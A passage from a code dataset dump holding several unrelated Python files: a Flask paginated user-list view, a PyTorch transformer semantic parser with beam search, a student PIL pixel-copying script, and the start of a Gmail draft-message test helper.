\r\n","sub_path":"students/1813077/homework02/program02.py","file_name":"program02.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"528988671","text":"# -*- coding: utf-8 -*-\n\nfrom flask.views import MethodView\nfrom flask.templating import render_template\nfrom flask import request\nfrom flask.ext.paginate import Pagination\n\nfrom synergy.users.repositories import UsersRepository\n\n\nclass UserIndexView(MethodView):\n \"\"\"\n Empty doc string\n \"\"\"\n template_name = 'users/index.html'\n records_per_page = 5\n\n def get(self):\n \"\"\"\n\n :return:\n :rtype:\n \"\"\"\n try:\n page = int(request.args.get('page', 1))\n if page <= 0:\n page = 1\n except ValueError:\n page = 1\n\n offset = (page - 1) * self.records_per_page\n\n try:\n with UsersRepository() as users:\n records_count = users.count()\n users = users.search_filter(offset, self.records_per_page)\n except Exception as ex:\n return render_template('500.html', error_message=str(ex)), 500\n\n pagination = Pagination(\n page=page,\n total=records_count,\n per_page=self.records_per_page,\n bs_version=3,\n record_name='users'\n )\n\n context = {\n 'users': users,\n 'pagination': pagination\n }\n\n return render_template(self.template_name, **context)","sub_path":"synergy/users/views/user_index_view.py","file_name":"user_index_view.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"138782275","text":"# coding=utf-8\nfrom __future__ import print_function\n\nimport copy\nimport math\nimport os\nimport sys\nfrom collections import OrderedDict\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.utils\n\nfrom asdl.hypothesis import GenTokenAction\nfrom asdl.transition_system import ApplyRuleAction, ReduceAction\nfrom common.registerable import Registrable\nfrom common.utils import update_args, init_arg_parser\nfrom components.action_info import ActionInfo\nfrom components.dataset import Batch\nfrom components.decode_hypothesis import DecodeHypothesis\nfrom model import nn_utils\nfrom model.nn_utils import LabelSmoothing\nfrom model.pointer_net import PointerNet\nfrom model.transformer_utils import (\n PositionalEncoding,\n Embeddings,\n Encoder,\n EncoderLayer,\n MultiHeadedAttention,\n PositionwiseFeedForward,\n Decoder,\n DecoderLayer,\n subsequent_mask,\n StrictMultiHeadedAttention,\n)\n\n\n@Registrable.register(\"transformer_parser\")\nclass TransformerParser(nn.Module):\n \"\"\"Implementation of a semantic parser\n\n The parser translates a natural language utterance into an AST defined under\n the ASDL specification, using the transition system described in https://arxiv.org/abs/1810.02720\n \"\"\"\n\n def __init__(self, args, vocab, transition_system):\n super(TransformerParser, self).__init__()\n\n self.args = args\n self.vocab = vocab\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() and args.cuda else \"cpu\")\n\n self.transition_system = transition_system\n self.grammar = self.transition_system.grammar\n\n # Transformer parameters\n self.num_layers = args.num_layers\n self.d_model = args.hidden_size\n self.d_ff = args.ffn_size\n self.h = args.num_heads\n self.dropout = args.dropout_model\n self.position = PositionalEncoding(self.d_model, self.dropout)\n attn = MultiHeadedAttention(self.h, self.d_model)\n parent_attn = StrictMultiHeadedAttention(self.h, 1, self.d_model)\n ff = PositionwiseFeedForward(self.d_model, self.d_ff, self.dropout)\n\n # Embedding layers\n\n # source token embedding\n self.src_embed = nn.Sequential(Embeddings(self.d_model, len(vocab.source)), copy.deepcopy(self.position))\n\n # embedding table of ASDL production rules (constructors), one for each ApplyConstructor action,\n # the last entry is the embedding for Reduce action\n self.action_embed_size = args.action_embed_size\n self.field_embed_size = args.field_embed_size\n self.type_embed_size = args.type_embed_size\n\n assert self.d_model == (\n self.action_embed_size\n + self.action_embed_size * (not self.args.no_parent_production_embed)\n + self.field_embed_size * (not self.args.no_parent_field_embed)\n + self.type_embed_size * (not self.args.no_parent_field_type_embed)\n )\n\n self.production_embed = Embeddings(self.action_embed_size, len(transition_system.grammar) + 1)\n\n # embedding table for target primitive tokens\n self.primitive_embed = Embeddings(self.action_embed_size, len(vocab.primitive))\n\n # embedding table for ASDL fields in constructors\n self.field_embed = Embeddings(self.field_embed_size, len(transition_system.grammar.fields))\n\n # embedding table for ASDL types\n self.type_embed = Embeddings(self.type_embed_size, len(transition_system.grammar.types))\n\n assert args.lstm == \"transformer\"\n self.encoder = Encoder(\n EncoderLayer(self.d_model, copy.deepcopy(attn), copy.deepcopy(ff), self.dropout), self.num_layers\n ).to(self.device)\n self.decoder = Decoder(\n DecoderLayer(\n self.d_model, copy.deepcopy(parent_attn), copy.deepcopy(attn), copy.deepcopy(ff), self.dropout\n ),\n self.num_layers,\n ).to(self.device)\n\n if args.no_copy is False:\n # pointer net for copying tokens from source side\n self.src_pointer_net = PointerNet(query_vec_size=args.att_vec_size, src_encoding_size=args.hidden_size)\n\n # given the decoder's hidden state, predict whether to copy or generate a target primitive token\n # output: [p(gen(token)) | s_t, p(copy(token)) | s_t]\n\n self.primitive_predictor = nn.Linear(args.att_vec_size, 2)\n\n if args.primitive_token_label_smoothing:\n self.label_smoothing = LabelSmoothing(\n args.primitive_token_label_smoothing, len(self.vocab.primitive), ignore_indices=[0, 1, 2]\n )\n\n # initialize the decoder's state and cells with encoder hidden states\n self.decoder_cell_init = nn.Linear(args.hidden_size, args.hidden_size)\n\n # attention: dot product attention\n # project source encoding to decoder rnn's hidden space\n\n self.att_src_linear = nn.Linear(args.hidden_size, args.hidden_size, bias=False)\n\n # transformation of decoder hidden states and context vectors before reading out target words\n # this produces the `attentional vector` in (Luong et al., 2015)\n\n self.att_vec_linear = nn.Linear(args.hidden_size + args.hidden_size, args.att_vec_size, bias=False)\n\n # bias for predicting ApplyConstructor and GenToken actions\n self.production_readout_b = nn.Parameter(torch.zeros(len(transition_system.grammar) + 1, dtype=torch.float32))\n self.tgt_token_readout_b = nn.Parameter(torch.zeros(len(vocab.primitive), dtype=torch.float32))\n\n if args.no_query_vec_to_action_map:\n # if there is no additional linear layer between the attentional vector (i.e., the query vector)\n # and the final softmax layer over target actions, we use the attentional vector to compute action\n # probabilities\n\n assert args.att_vec_size == args.action_embed_size\n self.production_readout = lambda q: F.linear(\n q * math.sqrt(self.d_model), self.production_embed.lut.weight, self.production_readout_b\n )\n self.tgt_token_readout = lambda q: F.linear(\n q * math.sqrt(self.d_model), self.primitive_embed.lut.weight, self.tgt_token_readout_b\n )\n else:\n # by default, we feed the attentional vector (i.e., the query vector) into a linear layer without bias, and\n # compute action probabilities by dot-producting the resulting vector and (GenToken, ApplyConstructor) action embeddings\n # i.e., p(action) = query_vec^T \\cdot W \\cdot embedding\n\n self.query_vec_to_action_embed = nn.Linear(\n args.att_vec_size, args.action_embed_size, bias=args.readout == \"non_linear\"\n )\n if args.query_vec_to_action_diff_map:\n # use different linear transformations for GenToken and ApplyConstructor actions\n self.query_vec_to_primitive_embed = nn.Linear(\n args.att_vec_size, args.action_embed_size, bias=args.readout == \"non_linear\"\n )\n else:\n self.query_vec_to_primitive_embed = self.query_vec_to_action_embed\n\n self.read_out_act = F.tanh if args.readout == \"non_linear\" else nn_utils.identity\n\n self.production_readout = lambda q: F.linear(\n self.read_out_act(self.query_vec_to_action_embed(q)) * math.sqrt(self.d_model),\n self.production_embed.lut.weight,\n self.production_readout_b,\n )\n self.tgt_token_readout = lambda q: F.linear(\n self.read_out_act(self.query_vec_to_primitive_embed(q)) * math.sqrt(self.d_model),\n self.primitive_embed.lut.weight,\n self.tgt_token_readout_b,\n )\n\n # dropout layer\n self.dropout = nn.Dropout(args.dropout)\n\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def score(self, examples, return_encode_state=False):\n \"\"\"Given a list of examples, compute the log-likelihood of generating the target AST\n\n Args:\n examples: a batch of examples\n return_encode_state: return encoding states of input utterances\n output: score for each training example: Variable(batch_size)\n \"\"\"\n\n batch = Batch(examples, self.grammar, self.vocab, copy=self.args.no_copy is False, cuda=self.args.cuda)\n\n # src_encodings: (batch_size, src_sent_len, hidden_size)\n src_encodings = self.encode(batch.src_sents_var)\n\n # tgt vector: (batch_size, src_sent_len, hidden_size)\n tgt_vector = self.prepare_tgt(batch)\n\n parent_indxs = [[a_t.parent_t if a_t else 0 for a_t in e.tgt_actions] for e in batch.examples]\n parent_indxs_np = np.zeros((len(parent_indxs), max(len(ind) for ind in parent_indxs)), dtype=np.long)\n for i in range(len(parent_indxs_np)):\n parent_indxs_np[i, : len(parent_indxs[i])] = parent_indxs[i]\n parent_indxs_np[i, 0] = 0\n\n # query vectors are sufficient statistics used to compute action probabilities\n query_vectors = self.decoder(\n tgt_vector, src_encodings, [parent_indxs_np], batch.src_token_mask_usual.unsqueeze(-2), batch.tgt_mask\n )\n # query_vectors: (tgt_action_len, batch_size, hidden_size)\n query_vectors = query_vectors.transpose(0, 1)\n\n # ApplyRule (i.e., ApplyConstructor) action probabilities\n # (tgt_action_len, batch_size, grammar_size)\n apply_rule_prob = F.softmax(self.production_readout(query_vectors), dim=-1)\n\n # probabilities of target (gold-standard) ApplyRule actions\n # (tgt_action_len, batch_size)\n tgt_apply_rule_prob = torch.gather(\n apply_rule_prob, dim=2, index=batch.apply_rule_idx_matrix.unsqueeze(2)\n ).squeeze(2)\n\n # compute generation and copying probabilities #\n\n # (tgt_action_len, batch_size, primitive_vocab_size)\n gen_from_vocab_prob = F.softmax(self.tgt_token_readout(query_vectors), dim=-1)\n\n # (tgt_action_len, batch_size)\n tgt_primitive_gen_from_vocab_prob = torch.gather(\n gen_from_vocab_prob, dim=2, index=batch.primitive_idx_matrix.unsqueeze(2)\n ).squeeze(2)\n\n if self.args.no_copy:\n # mask positions in action_prob that are not used\n\n if self.training and self.args.primitive_token_label_smoothing:\n # (tgt_action_len, batch_size)\n # this is actually the negative KL divergence size we will flip the sign later\n # tgt_primitive_gen_from_vocab_log_prob = -self.label_smoothing(\n # gen_from_vocab_prob.view(-1, gen_from_vocab_prob.size(-1)).log(),\n # batch.primitive_idx_matrix.view(-1)).view(-1, len(batch))\n\n tgt_primitive_gen_from_vocab_log_prob = -self.label_smoothing(\n gen_from_vocab_prob.log(), batch.primitive_idx_matrix\n )\n else:\n tgt_primitive_gen_from_vocab_log_prob = tgt_primitive_gen_from_vocab_prob.log()\n\n # (tgt_action_len, batch_size)\n action_prob = (\n tgt_apply_rule_prob.log() * batch.apply_rule_mask\n + tgt_primitive_gen_from_vocab_log_prob * batch.gen_token_mask\n )\n else:\n # binary gating probabilities between generating or copying a primitive token\n # (tgt_action_len, batch_size, 2)\n primitive_predictor = F.softmax(self.primitive_predictor(query_vectors), dim=-1)\n\n # pointer network copying scores over source tokens\n # (tgt_action_len, batch_size, src_sent_len)\n primitive_copy_prob = self.src_pointer_net(src_encodings, batch.src_token_mask, query_vectors)\n\n # marginalize over the copy probabilities of tokens that are same\n # (tgt_action_len, batch_size)\n tgt_primitive_copy_prob = torch.sum(primitive_copy_prob * batch.primitive_copy_token_idx_mask, dim=-1)\n\n # mask positions in action_prob that are not used\n # (tgt_action_len, batch_size)\n action_mask_pad = torch.eq(batch.apply_rule_mask + batch.gen_token_mask + batch.primitive_copy_mask, 0.0)\n action_mask = 1.0 - action_mask_pad.float()\n\n # (tgt_action_len, batch_size)\n action_prob = (\n tgt_apply_rule_prob * batch.apply_rule_mask\n + primitive_predictor[:, :, 0] * tgt_primitive_gen_from_vocab_prob * batch.gen_token_mask\n + primitive_predictor[:, :, 1] * tgt_primitive_copy_prob * batch.primitive_copy_mask\n )\n\n # avoid nan in log\n action_prob.data.masked_fill_(action_mask_pad.data, 1.0e-7)\n eps = 1.0e-18\n action_prob += eps\n\n action_prob = action_prob.log() * action_mask\n\n scores = torch.sum(action_prob, dim=0)\n\n returns = [scores]\n\n return returns\n\n def prepare_tgt(self, batch):\n tgt_vector = []\n\n actions_embed = torch.zeros(\n (len(batch), batch.max_action_num - 1, self.action_embed_size), dtype=torch.float32, device=self.device\n )\n for e_num, example in enumerate(batch.examples):\n for a_num, action in enumerate(example.tgt_actions[:-1]):\n if isinstance(action.action, ApplyRuleAction):\n action_embed = self.production_embed(torch.tensor(self.grammar.prod2id[action.action.production]))\n elif isinstance(action.action, ReduceAction):\n action_embed = self.production_embed(torch.tensor(len(self.grammar)))\n else:\n action_embed = self.primitive_embed(torch.tensor(self.vocab.primitive[action.action.token]))\n actions_embed[e_num, a_num] = action_embed\n tgt_vector.append(actions_embed)\n\n if self.args.no_parent_production_embed is False:\n parent_productions_embed = self.production_embed(\n torch.stack([batch.get_frontier_prod_idx(t) for t in range(1, batch.max_action_num)], dim=1)\n )\n tgt_vector.append(parent_productions_embed)\n\n if self.args.no_parent_field_embed is False:\n parent_field_embed = self.field_embed(\n torch.stack([batch.get_frontier_field_idx(t) for t in range(1, batch.max_action_num)], dim=1)\n )\n tgt_vector.append(parent_field_embed)\n\n if self.args.no_parent_field_type_embed is False:\n parent_field_type_embed = self.type_embed(\n torch.stack([batch.get_frontier_field_type_idx(t) for t in range(1, batch.max_action_num)], dim=1)\n )\n tgt_vector.append(parent_field_type_embed)\n\n tgt_vector = torch.cat(tgt_vector, dim=-1)\n\n start_vector = torch.zeros((len(batch), 1, tgt_vector.shape[2]))\n\n # initialize using the root type embedding\n offset = self.action_embed_size # prev_action\n offset += self.action_embed_size * (not self.args.no_parent_production_embed)\n offset += self.field_embed_size * (not self.args.no_parent_field_embed)\n\n start_vector[:, 0, offset:] = self.type_embed(\n torch.tensor(\n [self.grammar.type2id[self.grammar.root_type] for _ in batch.examples],\n dtype=torch.long,\n device=self.device,\n )\n )\n\n tgt_vector = torch.cat([start_vector, tgt_vector], dim=1)\n\n return tgt_vector\n\n def encode(self, src_sents_var):\n \"\"\"Encode the input natural language utterance\n\n Args:\n src_sents_var: a variable of shape (src_sent_len, batch_size), representing word ids of the input\n\n Returns:\n src_encodings: source encodings of shape (batch_size, src_sent_len, hidden_size)\n \"\"\"\n src_sents_var = src_sents_var.transpose(0, 1)\n src_token_mask = (src_sents_var != 0).unsqueeze(-2)\n\n src_token_embed = self.src_embed(src_sents_var)\n\n src_encodings = self.encoder(src_token_embed, src_token_mask)\n\n return src_encodings\n\n def parse(self, src_sent, context=None, beam_size=5, debug=False):\n \"\"\"Perform beam search to infer the target AST given a source utterance\n\n Args:\n src_sent: list of source utterance tokens\n context: other context used for prediction\n beam_size: beam size\n\n Returns:\n A list of `DecodeHypothesis`, each representing an AST\n \"\"\"\n\n with torch.no_grad():\n args = self.args\n primitive_vocab = self.vocab.primitive\n\n src_sent_var = nn_utils.to_input_variable([src_sent], self.vocab.source, cuda=args.cuda, training=False)\n\n # Variable(1, src_sent_len, hidden_size)\n src_encodings = self.encode(src_sent_var)\n\n zero_action_embed = torch.zeros(args.action_embed_size)\n\n hyp_scores = torch.tensor([0.0])\n\n # For computing copy probabilities, we marginalize over tokens with the same surface form\n # `aggregated_primitive_tokens` stores the position of occurrence of each source token\n aggregated_primitive_tokens = OrderedDict()\n for token_pos, token in enumerate(src_sent):\n aggregated_primitive_tokens.setdefault(token, []).append(token_pos)\n\n t = 0\n hypotheses = [DecodeHypothesis()]\n completed_hypotheses = []\n\n while len(completed_hypotheses) < beam_size and t < args.decode_max_time_step:\n hyp_num = len(hypotheses)\n\n # (hyp_num, src_sent_len, hidden_size)\n exp_src_encodings = src_encodings.expand(hyp_num, src_encodings.size(1), src_encodings.size(2))\n\n if t == 0:\n x = torch.zeros(1, self.d_model)\n parent_ids = np.array([[0]])\n if args.no_parent_field_type_embed is False:\n offset = self.args.action_embed_size # prev_action\n offset += self.args.action_embed_size * (not self.args.no_parent_production_embed)\n offset += self.args.field_embed_size * (not self.args.no_parent_field_embed)\n\n x[0, offset : offset + self.type_embed_size] = self.type_embed(\n torch.tensor(self.grammar.type2id[self.grammar.root_type])\n )\n x = x.unsqueeze(-2)\n else:\n actions_tm1 = [hyp.actions[-1] for hyp in hypotheses]\n\n a_tm1_embeds = []\n for a_tm1 in actions_tm1:\n if a_tm1:\n if isinstance(a_tm1, ApplyRuleAction):\n a_tm1_embed = self.production_embed(\n torch.tensor(self.grammar.prod2id[a_tm1.production])\n )\n elif isinstance(a_tm1, ReduceAction):\n a_tm1_embed = self.production_embed(torch.tensor(len(self.grammar)))\n else:\n a_tm1_embed = self.primitive_embed(torch.tensor(self.vocab.primitive[a_tm1.token]))\n\n a_tm1_embeds.append(a_tm1_embed)\n else:\n a_tm1_embeds.append(zero_action_embed)\n a_tm1_embeds = torch.stack(a_tm1_embeds)\n\n inputs = [a_tm1_embeds]\n if args.no_parent_production_embed is False:\n # frontier production\n frontier_prods = [hyp.frontier_node.production for hyp in hypotheses]\n frontier_prod_embeds = self.production_embed(\n torch.tensor([self.grammar.prod2id[prod] for prod in frontier_prods], dtype=torch.long)\n )\n inputs.append(frontier_prod_embeds)\n if args.no_parent_field_embed is False:\n # frontier field\n frontier_fields = [hyp.frontier_field.field for hyp in hypotheses]\n frontier_field_embeds = self.field_embed(\n torch.tensor([self.grammar.field2id[field] for field in frontier_fields], dtype=torch.long)\n )\n\n inputs.append(frontier_field_embeds)\n if args.no_parent_field_type_embed is False:\n # frontier field type\n frontier_field_types = [hyp.frontier_field.type for hyp in hypotheses]\n frontier_field_type_embeds = self.type_embed(\n torch.tensor(\n [self.grammar.type2id[type] for type in frontier_field_types], dtype=torch.long\n )\n )\n inputs.append(frontier_field_type_embeds)\n\n x = torch.cat([x, torch.cat(inputs, dim=-1).unsqueeze(-2)], dim=1)\n recent_parents = np.array(\n [[hyp.frontier_node.created_time] if hyp.frontier_node else 0 for hyp in hypotheses]\n )\n parent_ids = np.hstack([parent_ids, recent_parents])\n\n src_mask = torch.ones(\n exp_src_encodings.shape[:-1], dtype=torch.uint8, device=exp_src_encodings.device\n ).unsqueeze(-2)\n tgt_mask = subsequent_mask(x.shape[-2])\n\n att_t = self.decoder(x, exp_src_encodings, [parent_ids], src_mask, tgt_mask)[:, -1]\n\n # Variable(batch_size, grammar_size)\n # apply_rule_log_prob = torch.log(F.softmax(self.production_readout(att_t), dim=-1))\n apply_rule_log_prob = F.log_softmax(self.production_readout(att_t), dim=-1)\n\n # Variable(batch_size, primitive_vocab_size)\n gen_from_vocab_prob = F.softmax(self.tgt_token_readout(att_t), dim=-1)\n\n if args.no_copy:\n primitive_prob = gen_from_vocab_prob\n else:\n # Variable(batch_size, src_sent_len)\n primitive_copy_prob = self.src_pointer_net(src_encodings, None, att_t.unsqueeze(0)).squeeze(0)\n\n # Variable(batch_size, 2)\n primitive_predictor_prob = F.softmax(self.primitive_predictor(att_t), dim=-1)\n\n # Variable(batch_size, primitive_vocab_size)\n primitive_prob = primitive_predictor_prob[:, 0].unsqueeze(1) * gen_from_vocab_prob\n\n # if src_unk_pos_list:\n # primitive_prob[:, primitive_vocab.unk_id] = 1.e-10\n\n gentoken_prev_hyp_ids = []\n gentoken_new_hyp_unks = []\n applyrule_new_hyp_scores = []\n applyrule_new_hyp_prod_ids = []\n applyrule_prev_hyp_ids = []\n\n for hyp_id, hyp in enumerate(hypotheses):\n # generate new continuations\n action_types = self.transition_system.get_valid_continuation_types(hyp)\n\n for action_type in action_types:\n if action_type == ApplyRuleAction:\n productions = self.transition_system.get_valid_continuating_productions(hyp)\n for production in productions:\n prod_id = self.grammar.prod2id[production]\n prod_score = apply_rule_log_prob[hyp_id, prod_id].item()\n new_hyp_score = hyp.score + prod_score\n\n applyrule_new_hyp_scores.append(new_hyp_score)\n applyrule_new_hyp_prod_ids.append(prod_id)\n applyrule_prev_hyp_ids.append(hyp_id)\n elif action_type == ReduceAction:\n action_score = apply_rule_log_prob[hyp_id, len(self.grammar)].item()\n new_hyp_score = hyp.score + action_score\n\n applyrule_new_hyp_scores.append(new_hyp_score)\n applyrule_new_hyp_prod_ids.append(len(self.grammar))\n applyrule_prev_hyp_ids.append(hyp_id)\n else:\n # GenToken action\n gentoken_prev_hyp_ids.append(hyp_id)\n hyp_copy_info = dict() # of (token_pos, copy_prob)\n hyp_unk_copy_info = []\n\n if args.no_copy is False:\n for (token, token_pos_list) in aggregated_primitive_tokens.items():\n sum_copy_prob = torch.gather(\n primitive_copy_prob[hyp_id], 0, torch.tensor(token_pos_list, dtype=torch.long)\n ).sum()\n gated_copy_prob = primitive_predictor_prob[hyp_id, 1] * sum_copy_prob\n\n if token in primitive_vocab:\n token_id = primitive_vocab[token]\n primitive_prob[hyp_id, token_id] = (\n primitive_prob[hyp_id, token_id] + gated_copy_prob\n )\n\n hyp_copy_info[token] = (token_pos_list, gated_copy_prob.item())\n else:\n hyp_unk_copy_info.append(\n {\n \"token\": token,\n \"token_pos_list\": token_pos_list,\n \"copy_prob\": gated_copy_prob.item(),\n }\n )\n\n if args.no_copy is False and len(hyp_unk_copy_info) > 0:\n unk_i = np.array([x[\"copy_prob\"] for x in hyp_unk_copy_info]).argmax()\n token = hyp_unk_copy_info[unk_i][\"token\"]\n primitive_prob[hyp_id, primitive_vocab.unk_id] = hyp_unk_copy_info[unk_i][\"copy_prob\"]\n gentoken_new_hyp_unks.append(token)\n\n hyp_copy_info[token] = (\n hyp_unk_copy_info[unk_i][\"token_pos_list\"],\n hyp_unk_copy_info[unk_i][\"copy_prob\"],\n )\n\n new_hyp_scores = None\n if applyrule_new_hyp_scores:\n new_hyp_scores = torch.tensor(applyrule_new_hyp_scores)\n if gentoken_prev_hyp_ids:\n primitive_log_prob = torch.log(primitive_prob)\n gen_token_new_hyp_scores = (\n hyp_scores[gentoken_prev_hyp_ids].unsqueeze(1) + primitive_log_prob[gentoken_prev_hyp_ids, :]\n ).view(-1)\n\n if new_hyp_scores is None:\n new_hyp_scores = gen_token_new_hyp_scores\n else:\n new_hyp_scores = torch.cat([new_hyp_scores, gen_token_new_hyp_scores])\n\n top_new_hyp_scores, top_new_hyp_pos = torch.topk(\n new_hyp_scores, k=min(new_hyp_scores.size(0), beam_size - len(completed_hypotheses))\n )\n\n live_hyp_ids = []\n new_hypotheses = []\n for new_hyp_score, new_hyp_pos in zip(top_new_hyp_scores.data.cpu(), top_new_hyp_pos.data.cpu()):\n action_info = ActionInfo()\n if new_hyp_pos < len(applyrule_new_hyp_scores):\n # it's an ApplyRule or Reduce action\n prev_hyp_id = applyrule_prev_hyp_ids[new_hyp_pos]\n prev_hyp = hypotheses[prev_hyp_id]\n\n prod_id = applyrule_new_hyp_prod_ids[new_hyp_pos]\n # ApplyRule action\n if prod_id < len(self.grammar):\n production = self.grammar.id2prod[prod_id]\n action = ApplyRuleAction(production)\n # Reduce action\n else:\n action = ReduceAction()\n else:\n # it's a GenToken action\n token_id = int((new_hyp_pos - len(applyrule_new_hyp_scores)) % primitive_prob.size(1))\n\n k = (new_hyp_pos - len(applyrule_new_hyp_scores)) // primitive_prob.size(1)\n # try:\n # copy_info = gentoken_copy_infos[k]\n prev_hyp_id = gentoken_prev_hyp_ids[k]\n prev_hyp = hypotheses[prev_hyp_id]\n # except:\n # print('k=%d' % k, file=sys.stderr)\n # print('primitive_prob.size(1)=%d' % primitive_prob.size(1), file=sys.stderr)\n # print('len copy_info=%d' % len(gentoken_copy_infos), file=sys.stderr)\n # print('prev_hyp_id=%s' % ', '.join(str(i) for i in gentoken_prev_hyp_ids), file=sys.stderr)\n # print('len applyrule_new_hyp_scores=%d' % len(applyrule_new_hyp_scores), file=sys.stderr)\n # print('len gentoken_prev_hyp_ids=%d' % len(gentoken_prev_hyp_ids), file=sys.stderr)\n # print('top_new_hyp_pos=%s' % top_new_hyp_pos, file=sys.stderr)\n # print('applyrule_new_hyp_scores=%s' % applyrule_new_hyp_scores, file=sys.stderr)\n # print('new_hyp_scores=%s' % new_hyp_scores, file=sys.stderr)\n # print('top_new_hyp_scores=%s' % top_new_hyp_scores, file=sys.stderr)\n #\n # torch.save((applyrule_new_hyp_scores, primitive_prob), 'data.bin')\n #\n # # exit(-1)\n # raise ValueError()\n\n if token_id == int(primitive_vocab.unk_id):\n if gentoken_new_hyp_unks:\n token = gentoken_new_hyp_unks[k]\n else:\n token = primitive_vocab.id2word[primitive_vocab.unk_id]\n else:\n token = primitive_vocab.id2word[token_id]\n\n action = GenTokenAction(token)\n\n if token in aggregated_primitive_tokens:\n action_info.copy_from_src = True\n action_info.src_token_position = aggregated_primitive_tokens[token]\n\n if debug:\n action_info.gen_copy_switch = (\n \"n/a\"\n if args.no_copy\n else primitive_predictor_prob[prev_hyp_id, :].log().cpu().data.numpy()\n )\n action_info.in_vocab = token in primitive_vocab\n action_info.gen_token_prob = (\n gen_from_vocab_prob[prev_hyp_id, token_id].log().cpu().item()\n if token in primitive_vocab\n else \"n/a\"\n )\n action_info.copy_token_prob = (\n torch.gather(\n primitive_copy_prob[prev_hyp_id],\n 0,\n torch.tensor(action_info.src_token_position, dtype=torch.long, device=self.device),\n )\n .sum()\n .log()\n .cpu()\n .item()\n if args.no_copy is False and action_info.copy_from_src\n else \"n/a\"\n )\n\n action_info.action = action\n action_info.t = t\n if t > 0:\n action_info.parent_t = prev_hyp.frontier_node.created_time\n action_info.frontier_prod = prev_hyp.frontier_node.production\n action_info.frontier_field = prev_hyp.frontier_field.field\n\n if debug:\n action_info.action_prob = new_hyp_score - prev_hyp.score\n\n new_hyp = prev_hyp.clone_and_apply_action_info(action_info)\n new_hyp.score = new_hyp_score\n\n if new_hyp.completed:\n completed_hypotheses.append(new_hyp)\n else:\n new_hypotheses.append(new_hyp)\n live_hyp_ids.append(prev_hyp_id)\n\n if live_hyp_ids:\n x = x[live_hyp_ids]\n parent_ids = parent_ids[live_hyp_ids]\n hypotheses = new_hypotheses\n hyp_scores = torch.tensor([hyp.score for hyp in hypotheses])\n t += 1\n else:\n break\n\n completed_hypotheses.sort(key=lambda hyp: -hyp.score)\n\n return completed_hypotheses\n\n def save(self, path):\n dir_name = os.path.dirname(path)\n if not os.path.exists(dir_name):\n os.makedirs(dir_name)\n\n params = {\n \"args\": self.args,\n \"transition_system\": self.transition_system,\n \"vocab\": self.vocab,\n \"state_dict\": self.state_dict(),\n }\n torch.save(params, path)\n\n @classmethod\n def load(cls, model_path, cuda=False):\n params = torch.load(model_path, map_location=lambda storage, loc: storage)\n vocab = params[\"vocab\"]\n transition_system = params[\"transition_system\"]\n saved_args = params[\"args\"]\n # update saved args\n update_args(saved_args, init_arg_parser())\n saved_state = params[\"state_dict\"]\n saved_args.cuda = cuda\n\n parser = cls(saved_args, vocab, transition_system)\n\n parser.load_state_dict(saved_state)\n\n if cuda:\n parser = parser.cuda()\n parser.eval()\n\n return parser\n","sub_path":"model/transformer_parser.py","file_name":"transformer_parser.py","file_ext":"py","file_size_in_byte":34911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"177972603","text":"from PIL import Image\r\n#from IPython.display import display\r\nimport urllib.request\r\n\r\n# ouvrir une image hébergée sur internet\r\n##im = Image.open(urllib.request.urlopen('https://raw.githubusercontent.com/hackathon-nsi/h7n-nsi-01/main/images/washington.bmp'))\r\nim=Image.open('projetnsimars2021.jpg')\r\nim.show()\r\n\r\n# créer une nouvelle image vide\r\n# le deuxième argument représente la taille de l'image et le troisième argument (optionnel) la couleur de remplissage au format RVB\r\nim_new = Image.new(\"RGB\", (500, 500), (60, 0, 80))\r\n\r\n# informations sur l'image\r\nprint(im.format, im.size, im.mode)\r\n\r\n# taille de l'image\r\nwidth, height = im.size\r\n\r\ntaille = input (\"Quelle taille de barres souhaiter-vous?\")\r\ntaille=int(taille)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# valeurs du pixel de coordonnées x, y (l'origine (0, 0) est en haut à gauche)\r\nfor x in range(100):\r\n for y in range(500):\r\n pixel = im.getpixel((x+taille, y))\r\n\r\n# valeurs des couleurs rouge, vert, bleu\r\n p_rouge = pixel[0]\r\n p_vert = pixel[1]\r\n p_bleu = pixel[2]\r\n\r\n# modification du pixel de coordonnées x, y\r\n im_new.putpixel((x+taille,y),(p_rouge,p_vert,p_bleu))\r\n\r\n\r\n\r\n\r\n\r\n\r\n# valeurs du pixel de coordonnées x, y (l'origine (0, 0) est en haut à gauche)\r\nfor x in range(50):\r\n for y in range(450):\r\n pixel = im.getpixel((x+taille, y))\r\n\r\n# valeurs des couleurs rouge, vert, bleu\r\n p_rouge = pixel[0]\r\n p_vert = pixel[1]\r\n p_bleu = pixel[2]\r\n\r\n# modification du pixel de coordonnées x, y\r\n im_new.putpixel((x+taille,y),(p_rouge,p_vert,p_bleu))\r\n\r\n\r\n\r\n\r\n\r\n\r\n# affichage de l'image\r\nim_new.save('sortie.png')\r\nim_new.show()\r\n","sub_path":"projethackathon_iris.py","file_name":"projethackathon_iris.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"173399165","text":"from framework.support.Log import log_info\nfrom framework.support.Mime_functions import create_mime_from_dict\nfrom framework.support.Common_functions import string_to_base64\nfrom test_project.api_call_builders.UserDrafts import UserDrafts\nfrom test_project.configurations.status_codes import status_code_200\nfrom test_project.models.BodyMessageModel import BodyMessageModel\nfrom framework.interface_drivers.http.HttpLib import HttpLib\n\n\ndef create_draft_message(user_id):\n random_body_message_model = BodyMessageModel().create_random_model()\n log_info(\"Create random body message model {model}\".format(model=random_body_message_model))\n\n raw = string_to_base64(create_mime_from_dict(random_body_message_model.get_dict_model_with_initialize_value()))\n log_info(\"Create raw string = {raw}\".format(raw=raw))\n\n response, model = UserDrafts().create_draft(user_id, raw)\n log_info(\"Create draft message for user_id = {user} and raw_text = {raw}. Response model = {model}\".\n format(user=user_id, raw=raw, model=model))\n\n model.raw = raw\n assert (HttpLib.get_response_status_code(response) == status_code_200), \\\n \"Import test message error: status code = {actual}, expected status code = {expected}. Response text: {text}\".\\\n format(actual=HttpLib.get_response_status_code(response),\n expected=status_code_200,\n 